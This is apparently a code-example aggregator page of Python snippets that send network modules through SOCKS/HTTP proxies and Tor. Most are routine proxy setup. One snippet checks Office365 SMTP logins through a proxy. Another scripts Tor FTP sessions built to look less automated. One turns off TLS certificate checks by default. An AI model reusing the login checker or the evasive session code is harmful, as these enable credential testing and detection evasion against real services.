         socks.setdefaultproxy(self.type, self.server, self.port, self.dns, self.user, self.password)
         socks.wrapmodule(urllib2)
         socks.wrapmodule(httplib)
     except ( Exception ) as exception:
         log(u"Error processing proxy settings", xbmc.LOGERROR)
         log(u"Exception: " + exception.me, xbmc.LOGERROR)
Пример #36
0
    def get_connection(proxy, host, port, username, password):

        socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy.gateway, proxy.port)
        socks.wrapmodule(smtplib)

        if port == 465:
            connection = smtplib.SMTP_SSL(host, port, timeout=5)
        else:
            connection = smtplib.SMTP(host, port, timeout=5)

        connection.ehlo()

        if port == 587:
            context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            connection.starttls(context=context)

        connection.login(username, password)
        return connection
Пример #37
0
def smtp_login_proxy(proxy, email, password):
    res = ''
    try:
        tIdx = proxy.rindex(':')
        ip = proxy[0:tIdx]
        port = int(proxy[(tIdx + 1):])

        socket.setdefaulttimeout(10)
        socks.setdefaultproxy(socks.SOCKS4, ip, port, False)
        socks.wrapmodule(smtplib)

        server = smtplib.SMTP('smtp.office365.com', 25, timeout=15.0)
        server.ehlo()
        server.starttls()

        res = server.login(email, password)[1].decode('utf-8')
    except Exception as e:
        res = str(e)
    return res
Пример #38
0
    def _configureBrowser(self, config):
        if config is None:
            PixivHelper.get_logger().info("No config given")
            return

        global defaultConfig
        if defaultConfig is None:
            defaultConfig = config

        self._config = config
        if config.useProxy:
            if config.proxyAddress.startswith('socks'):
                parseResult = urllib.parse.urlparse(config.proxyAddress)
                assert parseResult.scheme and parseResult.hostname and parseResult.port
                socksType = socks.PROXY_TYPE_SOCKS5 if parseResult.scheme == 'socks5' else socks.PROXY_TYPE_SOCKS4

                socks.setdefaultproxy(
                    socksType, parseResult.hostname, parseResult.port)
                socks.wrapmodule(urllib)
                socks.wrapmodule(http.client)

                PixivHelper.get_logger().info("Using SOCKS Proxy: %s", config.proxyAddress)
            else:
                self.set_proxies(config.proxy)
                PixivHelper.get_logger().info("Using Proxy: %s", config.proxyAddress)

        # self.set_handle_equiv(True)
        # self.set_handle_gzip(True)
        self.set_handle_redirect(True)
        self.set_handle_referer(True)
        self.set_handle_robots(False)

        self.set_debug_http(config.debugHttp)
        if config.debugHttp:
            PixivHelper.get_logger().info('Debug HTTP enabled.')

        # self.visit_response
        self.addheaders = [('User-agent', config.useragent)]

        # force utf-8, fix issue #184
        self.addheaders = [('Accept-Charset', 'utf-8')]

        socket.setdefaulttimeout(config.timeout)
Пример #39
0
def simulateFTPSession(username, password, ftpHost):
    try:
        # We use socksipy to wrap the ftplib to Tor, so the connection actually goes through the Tor network
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)
        socks.wrapmodule(ftplib)
        ftp = ftplib.FTP(timeout=60)
        # Connection and login
        ftp.connect(ftpHost, 21)
        ftp.timeout = 30
        ftp.login(username, password)
        # Some fancy commands FileZilla normally sends to servers
        print ftp.sendcmd("SYST")
        print ftp.sendcmd("FEAT")
        print ftp.pwd()
        # Okay, let's get the content of the main directory
        listLines = []
        ftp.dir(listLines.append)
        filenames = []
        for listLine in listLines:
            filenames.append(getFTPFileName(listLine))
        filenames = removeBaitFiles(filenames)
        if len(filenames) > 0:
            # Chose one of the filenames, if the server doesnt consist only of bait files
            filename = random.choice(filenames)
            # Let's wait a little, so the session doesn't look that automated
            waitTime = (random.random() * 20)
            print waitTime
            time.sleep(waitTime)
            # So let's download that file
            print ftp.sendcmd("MDTM " + filename)
            ftp.retrbinary('RETR ' + filename, callbackerDummy)
        # Let's wait a little, so the session doesn't look that automated
        waitTime = (random.random() * 30)
        print waitTime
        time.sleep(waitTime)
        print ftp.quit()
    except Exception:
        raise
    finally:
        try:
            ftp.close()
        except Exception:
            pass
Пример #40
0
def mail(to_mails,from_mails,proxy_host, proxy_port):
    receivers = [to_mails]

    message = """From: From Person <*****@*****.**>
    To: To Person <*****@*****.**>
    Subject: SMTP e-mail test

    This is a test e-mail message.
    """
    
    if proxy_host is not None:
        socks.setdefaultproxy(socks.HTTP, proxy_host, proxy_port)
    socks.wrapmodule(smtplib)

    try:
       smtpObj = smtplib.SMTP('SMTP.office365.com')
       smtpObj.sendmail(from_mails, receivers, message)         
       print ("Successfully sent email")
    except Exception as ex:
       print ("Error: unable to send email: ",ex)
def test_anonymity(ip='127.0.0.1', port=9050):
    """Test the socks module and verify that the IP address is 
       concealed through checking it online. This function assumes
       that a local SOCKS5 proxy server (e.g. TOR) is running
       on 127.0.0.1:9050.
       
       Keyword arguments:
       host -- the ip address of the proxy.
       port -- the port number of the proxy.
       
    """
    # Set up a socks socket.
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, port)
    socks.wrapmodule(urllib.request)
    
    try:
        html = urllib.request.urlopen('http://checkip.dyndns.com/').read()
        return re.compile('(\d+\.\d+\.\d+\.\d+)').search(html.decode('utf-8')).group(1)
    except urllib.error.HTTPError as e:
        print('Some HTTP connection error occured: ', e.args[0])
Пример #42
0
 def __init__(self, mail_host, mail_user, mail_pass, proxy=False):
     """
     初始化邮箱设置
     :param mail_host: string 邮箱服务器地址
     :param mail_user: string 发件人
     :param mail_pass: string 密码
     :param proxy: boolean
     """
     try:
         log('INFO', '初始化邮箱....')
         if proxy:
             log('INFO', '使用代理发送....')
             socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '10.240.2.200', 83)
             socks.wrapmodule(smtplib)
         self.me = '<' + mail_user + '>'
         self.server = smtplib.SMTP()
         self.server.connect(mail_host)
         self.server.login(mail_user, mail_pass)
     except Exception as e:
         log('ERROR', '[Mail->__init__] --> errmsg:%s' % (str(e)))
Пример #43
0
        def __init__(self, timeout, proxy=None, cacert=None, sessions=False):
#            httplib2.debuglevel=4 
            kwargs = {}
            if proxy:
                import socks
                
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP,proxy['proxy_host'], int(proxy['proxy_port']))
                socks.wrapmodule(httplib2)
                
                kwargs['proxy_info'] = httplib2.ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host=proxy['proxy_host'], proxy_port=int(proxy['proxy_port']))
                
                log.info("using proxy %s" % proxy)

            # set optional parameters according supported httplib2 version
            if httplib2.__version__ >= '0.3.0':
                kwargs['timeout'] = timeout
            if httplib2.__version__ >= '0.7.0':
                kwargs['disable_ssl_certificate_validation'] = cacert is None
                kwargs['ca_certs'] = cacert
            httplib2.Http.__init__(self, **kwargs)
Пример #44
0
    def __init__(self, mailbox: dict, email: dict, inputs: dict):
        if mailbox is None:
            raise RuntimeError('未找到邮箱')

        if email is None:
            raise RuntimeError('未找到邮件配置')

        if inputs is None:
            raise RuntimeError('未找到上下文数据')

        sender = mailbox['(地址)']
        if len(sender) == 0:
            raise RuntimeError('未找到邮箱地址')

        password = mailbox['(密码)']
        if len(password) == 0:
            raise RuntimeError('未找到邮箱密码')

        smtp_server = mailbox['(服务器)']
        if len(smtp_server) == 0:
            raise RuntimeError('未找到邮箱服务器')

        smtp_port = mailbox['(端口号)']
        if smtp_port == 0:
            raise RuntimeError('未找到邮箱端口号')

        self.email = email
        self.inputs = inputs

        self.sender = sender
        self.password = password
        self.smtp_server = smtp_server
        self.smtp_port = smtp_port

        sysstr = platform.system()
        if sysstr == "Windows":
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1080)
            socks.wrapmodule(smtplib)
        else:
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1086)
            socks.wrapmodule(smtplib)
Пример #45
0
    def getShows(self,type, params='', proxy = {}):
        
        # Live show list comes from a different URL 
        if type == LIVE:
            url = LIVEURL
        else:
            url = SHOW_BY_TYPE_URL%(type) + params

        # Check if proxy enabled & set
        if proxy['proxy'] == True and proxy['proxy_address'] <> "" and proxy['proxy_port'] <> 0:
            # Set the proxy information
            if proxy['proxy_type'] == 'HTTP':
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy['proxy_address'], proxy['proxy_port'])
            elif proxy['proxy_type'] == 'SOCKS4':
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, proxy['proxy_address'], proxy['proxy_port'])
            elif proxy['proxy_type'] == 'SOCKS5':
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy['proxy_address'], proxy['proxy_port'])

            # Wrap urllib2 module
            socks.wrapmodule(urllib2)

        page = urllib2.urlopen(url)
		
        self.soup = BeautifulStoneSoup(page, selfClosingTags=['link','category','media:player','media:thumbnail'])
        page.close()

        items = self.soup.findAll('entry')
        for item in items:
            id = str(item.id.string).strip()
            title = str(item.title.string).strip()

            pic = LOGOICON                    

            if type == "live":
                # For "live" items, just yield when Now-next is "NOW"
                if item.find(term="NOW"):
                    yield { "id": id, "title":title, "thumb":str(pic)}                 
            else:
                yield { "id": id, "title":title, "thumb":str(pic)}
Пример #46
0
    def _configureBrowser(self, config):
        if config is None:
            PixivHelper.GetLogger().info("No config given")
            return

        global defaultConfig
        if defaultConfig is None:
            defaultConfig = config

        self._config = config
        if config.useProxy:
            if config.proxyAddress.startswith('socks'):
                parseResult = urlparse.urlparse(config.proxyAddress)
                assert parseResult.scheme and parseResult.hostname and parseResult.port
                socksType = socks.PROXY_TYPE_SOCKS5 if parseResult.scheme == 'socks5' else socks.PROXY_TYPE_SOCKS4

                socks.setdefaultproxy(socksType, parseResult.hostname, parseResult.port)
                socks.wrapmodule(urllib)
                socks.wrapmodule(urllib2)
                socks.wrapmodule(httplib)

                PixivHelper.GetLogger().info("Using SOCKS Proxy: %s", config.proxyAddress)
            else:
                self.set_proxies(config.proxy)
                PixivHelper.GetLogger().info("Using Proxy: %s", config.proxyAddress)

        # self.set_handle_equiv(True)
        # self.set_handle_gzip(True)
        self.set_handle_redirect(True)
        self.set_handle_referer(True)
        self.set_handle_robots(False)

        self.set_debug_http(config.debugHttp)
        if config.debugHttp:
            PixivHelper.GetLogger().info('Debug HTTP enabled.')

        # self.visit_response
        self.addheaders = [('User-agent', config.useragent)]

        # force utf-8, fix issue #184
        self.addheaders = [('Accept-Charset', 'utf-8')]

        socket.setdefaulttimeout(config.timeout)
Пример #47
0
def configureBrowser(browser, config):
    if config == None:
        PixivHelper.GetLogger().info("No config given")
        return

    global defaultConfig
    if defaultConfig == None:
        defaultConfig = config

    if config.useProxy:
      if config.proxyAddress.startswith('socks'):
        parseResult = urlparse.urlparse(config.proxyAddress)
        assert parseResult.scheme and parseResult.hostname and parseResult.port
        socksType = socks.PROXY_TYPE_SOCKS5 if parseResult.scheme == 'socks5' else socks.PROXY_TYPE_SOCKS4

        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, parseResult.hostname, parseResult.port)
        socks.wrapmodule(urllib)
        socks.wrapmodule(urllib2)
        socks.wrapmodule(httplib)

        PixivHelper.GetLogger().info("Using SOCKS Proxy: " + config.proxyAddress)
      else:
        browser.set_proxies(config.proxy)
        PixivHelper.GetLogger().info("Using Proxy: " + config.proxyAddress)

    browser.set_handle_equiv(True)
    #browser.set_handle_gzip(True)
    browser.set_handle_redirect(True)
    browser.set_handle_referer(True)
    browser.set_handle_robots(config.useRobots)

    browser.set_debug_http(config.debugHttp)
    if config.debugHttp :
        PixivHelper.GetLogger().info('Debug HTTP enabled.')

    browser.visit_response
    browser.addheaders = [('User-agent', config.useragent)]

    socket.setdefaulttimeout(config.timeout)
Пример #48
0
    def send_request(self, request, queue=None):
        import urllib2, json, time, cookielib
        # print_error("send_http", request)
        
        if self.proxy:
            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
            socks.wrapmodule(urllib2)

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        urllib2.install_opener(opener)

        t1 = time.time()

        data = []
        ids = []

        if request:
            _id = request.get('id')
            method = request.get('method')
            params = request.get('params')
            if type(params) != type([]): params = [params]
            data.append({'method': method, 'id': self.message_id, 'params': params})
            self.unanswered_requests[self.message_id] = method, params, _id, queue
            ids.append(self.message_id)
            self.message_id += 1

        if data:
            data_json = json.dumps(data)
        else:
            # poll with GET
            data_json = None 

        headers = {'content-type': 'application/json'}
        if self.session_id:
            headers['cookie'] = 'SESSION=%s' % self.session_id

        try:
            req = urllib2.Request(self.connection_msg, data_json, headers)
            response_stream = urllib2.urlopen(req, timeout=DEFAULT_TIMEOUT)
        except Exception:
            return

        for index, cookie in enumerate(cj):
            if cookie.name == 'SESSION':
                self.session_id = cookie.value

        response = response_stream.read()
        self.bytes_received += len(response)
        if response:
            try:
                response = json.loads(response)
                # print_error(response)
            except Exception as e:
                print_error(str(e))
                response = None
            else:
                if type(response) is not type([]):
                    self.process_response(response)
                else:
                    for item in response:
                        self.process_response(item)

        if response: 
            self.poll_interval = 1
        else:
            if self.poll_interval < 15: 
                self.poll_interval += 1
        #print self.poll_interval, response
        self.rtime = time.time() - t1
        self.is_connected = True
        return ids
Пример #49
0
def urllib2_HTTP_test():
    socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, "127.0.0.1", 8080)
    socks.wrapmodule(urllib2)
    status = urllib2.urlopen("http://api.externalip.net/ip/").getcode()
    assert status == 200
Пример #50
0
    def getVideoDetails(self, url, proxy, includeAds = True):

        self.updateSWFURL()
        
        # Check if proxy enabled & set
        if proxy['proxy'] == True and proxy['proxy_address'] <> "" and proxy['proxy_port'] <> 0:
            # Set the proxy information
            if proxy['proxy_type'] == 'HTTP':
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy['proxy_address'], proxy['proxy_port'])
            elif proxy['proxy_type'] == 'SOCKS4':
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, proxy['proxy_address'], proxy['proxy_port'])
            elif proxy['proxy_type'] == 'SOCKS5':
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy['proxy_address'], proxy['proxy_port'])

            # Wrap urllib2 module
            socks.wrapmodule(urllib2)

        page = urllib2.urlopen(url)
        source = page.read().replace('&#39;',"'")
        soup = BeautifulStoneSoup(source, selfClosingTags=['link','category','media:player','media:thumbnail','rte:valid', 'rte:duration', 'rte:statistics'])
        page.close()
        
        entry = soup.find('entry')
        
        published  = self.getStringFor(entry, 'published')
        plot       = self.getStringFor(entry, 'content')
        # This doesn't seem to make any difference
        # Plus, it's often incorrect (for recordings in multiple parts)
        duration   = self.getStringFor(entry, 'rte:duration','formatted')
        rating     = self.getStringFor(entry, 'media:rating')
        copyright  = self.getStringFor(entry, 'media:copyright')
        title      = self.getStringFor(entry, 'title')
        id         = self.getStringFor(entry, 'id')

        print "Source URL: " + url
        print "Published Date: " + published
        print "Plot: " + plot
        print "Length: " + duration
        print "Rating: " + rating
        print "Copyright: " + copyright
        print "Title: " + title
        print "ID: " + id

        categories = entry.findAll('category')
        categories_str = u''
        for category in categories:
            categories_str = categories_str + u', ' + category['term']
                
        contents = entry.findAll('media:content')
        for content in contents:
            if content['rte:format'] == 'content':
                # Build the RTMP url for XBMC to play the Stream
                RTE_RTMPE_SERVER = str(content['rte:server'])
                RTE_APP = 'rtevod/'
                mp4url = '%s app=%s swfUrl=%s swfVfy=1 playpath=%s'%(RTE_RTMPE_SERVER, RTE_APP, self.SWFURL, str(content['url'])[len(RTE_RTMPE_SERVER):])
                
                # Grab the Part number to add it to the Title.
                # Streams are split into parts due to ads break
                partre = '\_part(\d)\_'
                partMatches = re.findall(partre, mp4url)
                if len(partMatches) > 0:
                    duration = str(content['rte:end'])
                    newtitle = '%s - Part %s' % (title, partMatches[0])
                else:
                    newtitle = title
                
                # Return this show
                yield {'Channel'      : CHANNEL,
                       'TVShowTitle'  : newtitle,
                       'Title'        : newtitle,
                       'MPAA'         : rating,
                       'Director'     : copyright,
                       'Duration'     : duration,
                       'Genre'        : categories_str,
                       'Plot'         : plot,
                       'PlotOutline'  : plot,
                       'id'           : id,
                       'url'          : mp4url,
                       'Date'         : "%s-%s-%s" % ( published[ 8 : 10], published[ 5 : 7 ], published[ : 4 ], )}
            # Direct Links
            elif content['rte:format'] == 'string' and includeAds:
                yield {'Channel'      : CHANNEL,
                       'TVShowTitle'  : content['url'],
                       'Title'        : content['url'],
                       'Plot'         : '',
                       'PlotOutline'  : '',
                       'id'           : id,
                       'url'          : content['url'] }
            # Live Shows
            elif content['rte:format'] == 'live':
                RTE_RTMPE_SERVER = str(content['rte:server'])
                RTE_APP = 'live'
                mp4url = "%s playpath=%s swfUrl=%s swfVfy=1 app=%s pageUrl=%s live=true" % (RTE_RTMPE_SERVER, str(content['url'])[len(RTE_RTMPE_SERVER):], self.SWFURL, RTE_APP, PAGEURL)
                yield {'Channel'      : CHANNEL,
                       'TVShowTitle'  : content['url'],
                       'Title'        : urllib.unquote(content['url']),
                       'Plot'         : '',
                       'PlotOutline'  : '',
                       'id'           : id,
                       'url'          : mp4url }
            # FLV Advertisement
            elif content['rte:format'] == 'advertising' and includeAds:
                page = urllib2.urlopen(content['url'])
                soup = BeautifulStoneSoup(page, selfClosingTags=['CustomParameters','ISCI'])
                page.close()

                for bandwidth_value in ['high', 'medium', 'low']:
                    results = soup.findAll('flv', bandwidth=bandwidth_value)
                    for result in results:
                        if result.contents[0].string != ' ':
                            yield {'Channel'     : CHANNEL,
                                   'TVShowTitle' : result.contents[0].string,
                                   'Title'       : result.contents[0].string,
                                   'Plot'        : '',
                                   'PlotOutline' : '',
                                   'id'          : result.contents[0].string,
                                   'url'         : result.contents[0].string }
Пример #51
0
import urllib2
from potion.common import cfg

if cfg.has_section('proxy') and cfg.has_option('proxy','proxy_type') and cfg.has_option('proxy','proxy_address'):

    proxy_type = cfg.get('proxy', 'proxy_type')
    proxy_address = cfg.get('proxy', 'proxy_address')

    import socks
    (proxy_host,proxy_port)=proxy_address.split(':')

    try:
        proxy_port=int(proxy_port)
    except ValueError:
        proxy_port=None
        print '[EE]proxy port must be int!'

    if not proxy_host or not proxy_port:
        #maybe mispelled config, exiting with code 'incorrect usage'
        print '[EE]Error in proxy address configuration(current value: %s)!' % proxy_address
        import sys
        sys.exit(2)

    socks.setdefaultproxy(eval('socks.PROXY_TYPE_'+proxy_type), proxy_host, int(proxy_port))
    socks.wrapmodule(urllib2)
Пример #52
0
def setProxy(type=socks.PROXY_TYPE_SOCKS5, host="127.0.0.1", port="9050"):
    socks.setdefaultproxy(type, host, port)
    socket.socket = socks.socksocket
    socks.wrapmodule(urllib2)
Пример #53
0
    pip install requesocks

super helpful:
    http://packetforger.wordpress.com/2013/08/27/pythons-requests-module-with-socks-support-requesocks/

"""
import urllib
from urllib.request import Request, urlopen

ua = 'Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0'
import requests

import smtplib

import socks

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9051)
socks.wrapmodule(smtplib)

proxies = 'http://127.0.0.1:9050'
proxy_support = urllib.request.ProxyHandler({'http': proxies})

link = 'http://ifconfig.me/ip'
url = Request(link, headers={'User-Agent': ua})
# r = urllib.request.urlopen(url)
# r = Request.set_proxy(proxies)


resp = urllib.request.urlopen(url)
print('ip: {}'.format(resp.text.strip()))
Пример #54
0
# RETURNS 1 IF THE TWEET HAS BEEN RETWEETED ATLEAST ONCE
def func_retweet(rc):
    retweet_count=int(rc)   
    if(retweet_count >0):
        return 1
    else :
        return 0



# SETTING PROXY TO CONNECT VIA YAHOO SOCKS PROXY
# curl -v  --socks socks.yahoo.com:1080 "http://generic19.timesense.ac4.yahoo.com:5810/?query=news&count=1"
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "socks.yahoo.com", 1080) 
socket.socket = socks.socksocket
socks.wrapmodule(httplib2)

h = httplib2.Http()
r,json_string = h.request("http://generic17.timesense.ac4.yahoo.com:4080/timesense/v3/en-us/topbuzzing")
json_data = json.loads(json_string.decode("utf-8"))


topic_list=[]
# GLOBAL MAPPING TWEET_ID TO CORRESPONDING BUZZING TOPIC
tweet_topic={}
topic_stats={}

for topic in json_data["topics"]:
    topic_list.append(topic["title"])
    print (topic["title"])
g = httplib2.Http()
Пример #55
0
    def send_http(self, messages, callback):
        import urllib2, json, time, cookielib

        print_error("send_http", messages)

        if self.proxy:
            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
            socks.wrapmodule(urllib2)

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        urllib2.install_opener(opener)

        t1 = time.time()

        data = []
        ids = []
        for m in messages:
            method, params = m
            if type(params) != type([]):
                params = [params]
            data.append({"method": method, "id": self.message_id, "params": params})
            self.unanswered_requests[self.message_id] = method, params, callback
            ids.append(self.message_id)
            self.message_id += 1

        if data:
            data_json = json.dumps(data)
        else:
            # poll with GET
            data_json = None

        headers = {"content-type": "application/json"}
        if self.session_id:
            headers["cookie"] = "SESSION=%s" % self.session_id

        try:
            req = urllib2.Request(self.connection_msg, data_json, headers)
            response_stream = urllib2.urlopen(req, timeout=DEFAULT_TIMEOUT)
        except Exception:
            return

        for index, cookie in enumerate(cj):
            if cookie.name == "SESSION":
                self.session_id = cookie.value

        response = response_stream.read()
        self.bytes_received += len(response)
        if response:
            response = json.loads(response)
            if type(response) is not type([]):
                self.process_response(response)
            else:
                for item in response:
                    self.process_response(item)

        if response:
            self.poll_interval = 1
        else:
            if self.poll_interval < 15:
                self.poll_interval += 1
        # print self.poll_interval, response

        self.rtime = time.time() - t1
        self.is_connected = True
        return ids